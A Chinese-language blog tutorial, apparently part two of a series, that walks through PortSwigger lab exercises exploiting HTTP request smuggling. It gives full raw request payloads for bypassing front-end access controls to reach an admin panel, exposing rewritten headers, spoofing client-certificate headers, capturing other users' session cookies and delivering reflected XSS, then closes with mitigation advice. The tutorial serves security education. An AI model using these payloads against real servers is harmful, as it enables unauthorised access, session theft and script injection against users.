请求走私利用实践(下)

IT知识
207
0
0
2024-05-15
走私绕过
前端限制

假设应用程序使用前端服务器来实现访问控制限制,仅当用户被授权访问所请求的URL时才转发请求,然后后端服务器接受每个请求,而不做进一步的检查,在这种情况下可以利用HTTP请求走私漏洞通过请求走私访问受限制的URL从而绕过访问控制,假如允许当前用户访问/home,但不允许访问/admin,他们可以使用以下请求走私攻击绕过这一限制:

POST /home HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: xGET /home HTTP/1.1
Host: vulnerable-website.com

前端服务器在这里看到两个请求,都是针对/home的,因此请求被转发到后端服务器,但是后端服务器看到一个对/home的请求和一个对/admin的请求,它(像往常一样)假设请求已经通过了前端控件,因此授予对受限URL的访问权限

下面我们介绍一下具体的绕过方式:

CL.TE Bypass

靶场地址: https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-cl-te

绕过演示: 直接访问上面的链接进入靶场后访问/admin路径会发现被拦截

随后我们构造如下请求数据包并发送两次尝试请求走私

POST / HTTP/1.1
Host: 0ae3000c04275ff48012fd73008e00b8.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
X-Ignore: X

此时第二个数据包中看到只允许local饭问

随后添加头部信息"Host: localhost",修改后的请求数据包如下并请求两次:

从上面可以看到这里由于第二个请求的主机头与第一个请求中走私的主机头冲突,从而导致请求被阻塞,随后发送以下请求两次以便将第二个请求的标头附加到走私的请求正文中:

POST / HTTP/1.1
Host: 0ae3000c04275ff48012fd73008e00b8.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=

现在我们可以访问管理面板了,随后我们直接调用接口来删除carlos

POST / HTTP/1.1
Host: 0ae3000c04275ff48012fd73008e00b8.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 139
Transfer-Encoding: chunked

0

GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=

TE.CL Bypass

靶场介绍:本实验涉及前端和后端服务器,后端服务器不支持分块编码,在/admin有一个管理面板,但是前端服务器阻止了对它的访问

靶场地址: https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-te-cl

绕过演示: 首先访问上述靶机,访问/admin路径时会被直接拦截

随后构造以下请求走私载荷并发送两次请求

Content-length: 4
Transfer-Encoding: chunked

60
POST /admin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

可以看到和上面的一个靶场一样,都需要本地访问,随后直接增加头部信息即可

POST / HTTP/1.1
Host: 0aa2009b039439b080a5fd6a00dd00a4.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

71
POST /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

从上面可以看到进入到了admin的控制面板,随后调用接口执行删除操作

POST / HTTP/1.1
Host: 0aa2009b039439b080a5fd6a00dd00a4.web-security-academy.net
Content-length: 4
Transfer-Encoding: chunked

87
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

请求重写

在许多应用程序中前端服务器在将请求转发到后端服务器之前会对请求进行一些重写,通常是通过添加一些额外的请求头,例如:前端服务器可能

  • 添加一些攻击头敏感信息
  • 添加包含用户IP地址的X-Forwarded-For
  • 根据用户的会话令牌确定用户的ID并添加标识用户的标头

在某些情况下如果您的走私请求缺少一些通常由前端服务器添加的头,那么后端服务器可能不会以正常方式处理请求,从而导致走私请求无法达到预期的效果,通常有一种简单的方法来检测前端服务器是如何重写请求的,为此您需要执行以下步骤:

  • 首先找到一个POST请求并是那种可以将请求参数的值回显到应用程序的响应中的包
  • 随后尝试随机排列参数,使反射的参数写在消息正文的最后
  • 然后将这个请求偷偷发送到后端服务器,后面直接跟着一个普通的请求,您希望显示该请求的重写形式

假设应用程序有一个反映email参数值的登录函数:

POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 28

email=wiener@normal-user.net

这将会导致响应包中包含以下内容信息:

<input id="email" value="wiener@normal-user.net" type="text">

在这里我们可以使用以下请求走私攻击来暴露前端服务器执行的重写:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Transfer-Encoding: chunked

0

POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

email=POST /login HTTP/1.1
Host: vulnerable-website.com

前端服务器将重写请求以包括附加的报头,然后后端服务器将处理走私的请求并将重写的第二请求视为emil参数的值,然后它会在第二个请求的响应中回显这个值:

<input id="email" value="POST /login HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-For: 1.3.3.7
X-Forwarded-Proto: https
X-TLS-Bits: 128
X-TLS-Cipher: ECDHE-RSA-AES128-GCM-SHA256
X-TLS-Version: TLSv1.2
x-nr-external-service: external
...

确定前端服务器是如何重写请求的后我们就可以将必要的重写应用到您走私的请求上以确保它们被后端服务器以预期的方式处理,下面我们通过一个靶场进行简单的演示:

靶场地址: https://portswigger.net/web-security/request-smuggling/exploiting/lab-reveal-front-end-request-rewriting

靶场介绍:本实验涉及前端和后端服务器,前端服务器不支持分块编码,在/admin有一个管理面板,但是只有IP地址为127.0.0.1的人才能访问,前端服务器向包含IP地址的传入请求添加HTTP头,它类似于X-Forwarded-For标头,但名称不同,为了解决这个实验题目,你需要偷偷的向后端服务器发送一个请求,该请求显示前端服务器添加的头,然后偷偷向后端服务器发送一个请求,其中包含添加的头,访问管理面板并删除用户carlos

演示步骤:

Step 1:首先访问上面的链接进入靶场地址,此时直接访问/admin地址会被拦截,回显内容提示需要administrator用户访问并要求来访地址为127.0.0.1才阔以

然后搜索Blog

使用burpsuite抓包可以看到我们搜索的内容——"1111"被回显到了响应报文中

随后构造以下请求数据报文

POST / HTTP/1.1
Host: 0ae000aa04f227c28184f2bb00e80084.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 124
Transfer-Encoding: chunked

0

POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 200
Connection: close

search=test

第二次发送请求数据报文回显结果如下,可以看到响应中"Search results for"后跟了重写的HTTP请求的开头

随后记下重写请求中X-*-IP报头的名称并使用它来访问管理面板:

POST / HTTP/1.1
Host: 0ae000aa04f227c28184f2bb00e80084.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 143
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
X-GoOvNz-Ip: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Connection: close

x=1

第一个报文显示结果如下:

第二个请求中显示直接进入Admin面板

并发现两个用户和对应的删除操作选项

随后我们直接使用前面的响应作为参考,更改走私的请求URL以删除用户carlos

POST / HTTP/1.1
Host: 0ae000aa04f227c28184f2bb00e80084.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 166
Transfer-Encoding: chunked

0

GET /admin/delete?username=carlos HTTP/1.1
X-abcdef-Ip: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Connection: close

x=1

绕客户端

在TLS握手过程中,服务器通过提供证书向客户端(通常是浏览器)验证自己,证书中包含他们的通用名称(CN),该名称应该与他们注册的主机名相匹配,然后客户端可以使用它来验证他们正在与属于预期域的合法服务器进行对话,而部分站点则实现了双向认证,在这种认证方式下客户端也必须向服务器提供证书,客户端的CN通常是用户名等,例如:它可以在后端应用程序逻辑中用作访问控制机制的一部分,对客户端进行身份验证的组件通常是通过一个或多个非标准的HTTP头将证书中的相关细节传递给应用程序或后端服务器,例如:前端服务器有时会将包含客户端CN的标头附加到请求头中:

GET /admin HTTP/1.1
Host: normal-website.com
X-SSL-CLIENT-CN: carlos

由于这些头应该对用户完全隐藏,它们通常被后端服务器隐式信任,如果您能够发送正确的头和值的组合,那么将可能够绕过访问控制限制,而实际上这种行为通常是不可利用的,因为前端服务器倾向于覆盖这些已经存在的头,然而走私的请求对前端是完全隐藏的,所以它们包含的任何头都将被发送到后端而不被改变

POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: x-www-form-urlencoded
Content-Length: 64
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
X-SSL-CLIENT-CN: administrator
Foo: x
越权操作

如果应用程序包含任何类型的功能,允许您存储并在以后检索文本数据,那么此时您可以潜在地使用它来捕获其他用户请求的内容,这些可能包括用户提交的会话令牌或其他敏感数据,评论、电子邮件、个人资料描述、屏幕名称等等都适合作为这种攻击的载体,在执行攻击时您需要发送一个向存储函数提交数据的请求,并将包含要存储的数据的参数放在请求的最后,例如:假设一个应用程序使用下面的请求来提交一篇博客文章的评论,该评论将被存储并显示在博客上

POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 154
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&comment=My+comment&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net

此时我们可以发送一个内容长度过长的请求并且注释参数位于请求的末尾

GET / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 330

0

POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=

走私请求的Content-Length头部表示主体将有400个字节长,但是我们只发送了144个字节,在这种情况下,后端服务器将在发出响应之前等待剩余的256个字节,如果响应不够快,则会发出超时,因此当另一个请求通过相同的连接发送到后端服务器时,前256个字节会被有效地附加到走私的请求中,从而得到如下响应

POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=GET / HTTP/1.1
Host: vulnerable-website.com
Cookie: session=jJNLJs2RKpbg9EQ7iWrcfzwaTvMw81Rj
...

由于受害者请求的开始包含在comment参数中,这将作为评论发布在博客上,随后便能够通过访问相关的帖子来阅读它,为了捕获更多的受害者请求,您只需要相应地增加被走私请求的Content-Length头的值,不过需要请注意的是这将涉及一定量的试错,如果您遇到超时,这可能意味着您指定的内容长度大于受害者请求的实际长度,在这种情况下只需降低该值,直到攻击再次奏效,下面我们通过一个靶场示例进行演示

靶场地址: https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests

靶场介绍:本实验涉及前端和后端服务器,前端服务器不支持分块编码,为了解决这个问题,你需要将一个请求偷偷发送到后端服务器,使下一个用户的请求存储在应用程序中,然后检索下一个用户的请求并使用受害用户的cookies来访问他们的帐户

绕过演示: 首先访问上面的靶场地址,随意点击一个blog并进行评论操作

确定评论有效

随后将请求的Content-Length增加到600,然后将其偷偷发送到后端服务器,从响应中可以看到请求走私的内容

然后改为800,经过多次尝试后获得Session

貌似session不全,后面再次做调整改为808

点击Login并进行登录,替换SESSION为之前的带出来的SESSION信息

XSS反射

如果应用程序容易受到HTTP请求走私的攻击并且还包含反射XSS,那么我们便可以使用请求走私攻击来攻击应用程序的其他用户,这种方法在两个方面优于反射XSS的正常利用

  • 它不需要与受害用户进行交互,你不需要给他们一个网址,然后等他们来访问,您只需偷偷发送一个包含XSS负载的请求,由后端服务器处理的下一个用户的请求就会被命中
  • 它可用于在普通反射XSS攻击中无法轻易控制的请求部分(例如:HTTP请求头)中利用XSS行为

假设一个应用程序在用户代理头中有一个反射的XSS漏洞,您可以在请求走私攻击中利用这一点,如下所示:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 63
Transfer-Encoding: chunked

0

GET / HTTP/1.1
User-Agent: <script>alert(1)</script>
Foo: X

下一个用户的请求将被附加到被发送的请求中,他们将在响应中收到反射的XSS有效载荷,下面我们通过一个靶场示例来进行演示说明:

靶场地址: https://portswigger.net/web-security/request-smuggling/exploiting/lab-deliver-reflected-xss

靶场介绍:本实验涉及前端和后端服务器,前端服务器不支持分块编码,该应用程序还容易受到通过User-Agent标头反射的XSS的攻击,为了解决这个实验,你需要向后端服务器发送一个请求,使下一个用户的请求收到一个响应,该响应包含一个执行alert(1)的XSS漏洞

演示过程:

Step 1:直接访问上面的靶场地址,随意访问一个Blog并使用burpsuite抓包,插入User-Agent头并写入恶意载荷并构造走私请求的数据包

POST / HTTP/1.1
Host: 0a2300d804da7e7b8021809600830024.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 150
Transfer-Encoding: chunked

0

GET /post?postId=5 HTTP/1.1
User-Agent: a"/><script>alert(1)</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

x=1

随后目标用户访问网站时即可触发恶意XSS

修复建议

在前端服务器通过同一网络连接将多个请求转发到后端服务器的情况下会出现HTTP请求走私漏洞并且用于后端连接的协议会带来两个服务器在请求之间的边界方面存在分歧的风险,防止出现HTTP请求走私漏洞的一些通用方法如下:

  • 禁用后端连接的重用以便通过单独的网络连接发送每个后端请求
  • 对后端连接使用HTTP/2,因为该协议防止了请求之间边界的模糊性
  • 对前端和后端服务器使用完全相同的web服务器软件,以便它们在请求之间的边界上达成一致

在某些情况下可以通过使前端服务器规范化不明确的请求或使后端服务器拒绝不明确的请求并关闭网络连接来避免漏洞,然而这些方法可能比上面确定的一般缓解措施更容易出错

文末小结

本篇文章主要是对请求走私的原理、请求走私的检测方式、利用请求走私绕过检测或限制、请求走私的扩展利用方式进行了全方面的介绍,由于篇幅问题这里就不再继续去深入探索HTTP2.0版本的请求走私问题了,后续有时间再进行补充说明~

参考链接

https://www.youtube.com/watch?v=w-eJM2Pc0KI

https://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf

https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn